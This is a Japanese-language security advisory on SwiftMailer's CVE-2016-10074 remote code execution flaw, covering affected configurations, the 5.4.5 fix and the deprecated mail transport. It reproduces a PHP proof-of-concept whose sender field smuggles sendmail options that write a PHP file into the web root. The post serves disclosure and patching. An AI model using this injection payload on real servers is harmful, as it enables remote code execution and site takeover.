概要
リモートコード実行の脆弱性 (CVE-2016-10074) に対応するために SwiftMailer 5.4.5 がリリースされました。脆弱性の条件に該当するプロジェクトはバージョンアップやアプリケーションの修正が求められます。
該当するプロジェクト
-
sendmail
もしくはsendmail
と互換性があり、-X
オプションが利用可能であるプログラムを使う (postfix は-X
を無効にしている) - From、Sender、ReturnPath フィールドの値にユーザーからの入力を使う
lsmith さんのツイートによれば、Symfony の場合、transport
で smtp
の代わりに mail
を使っているプロジェクトが該当します。
検証コード
脆弱性を説明するドキュメントに記載されているコードは次のようなものです。
// sender フィールドをもつ問い合わせフォームから
// $_GET、$_POST などの信用されないソースからやってくる攻撃者の入力
$email_from = '"attacker\" -oQ/tmp/ -X/var/www/cache/phpcode.php "@email.com';
// ------------------
// SwiftMailer の脆弱性経由での mail() パラメーターインジェクション
require_once 'lib/swift_required.php';
// メールトランスポート
$transport = Swift_MailTransport::newInstance();
// 先ほど生成した Transport を使って Mailer を生成する
$mailer = Swift_Mailer::newInstance($transport);
// メッセージを生成する
$message = Swift_Message::newInstance('Swift PoC exploit')
->setFrom(array($email_from => 'PoC Exploit Payload'))
->setTo(array('receiver@domain.org', 'other@domain.org' => 'A name'))
->setBody('Here is the message itself')
;
// 'from' フィールドに PoC ペイロードをもつメッセージを送る
$result = $mailer->send($message);
同時期に PHPMailer のプロジェクトでも CVE-2016-10033 および CVE-2016-10045 の脆弱性に対応したバージョンが公開されました。脆弱性のくわしい解説については HASH コンサルティングの徳丸先生のブログ記事をご参照ください。
非推奨になった機能と将来への対応
Swift_MailTransport
および Swift_Transport_MailTransport
が非推奨なり、バージョン 6.0 で削除される予定です。アプリケーションに脆弱性がなくても、これらのクラスを使っている場合、将来のバージョンに備えてコードを修正する必要があります。
今後の対応
今回の脆弱性の原因が mail
、escapeshellarg
、escapeshellcmd
関数の仕様にあることから、複数のプロジェクトのあいだで利用できるコードの開発や、これらの標準関数の改善を視野に入れたセキュリティアドバイザリが執筆されています。SwiftMailer に脆弱性がまだ存在するのではないかということで調査も続けられています。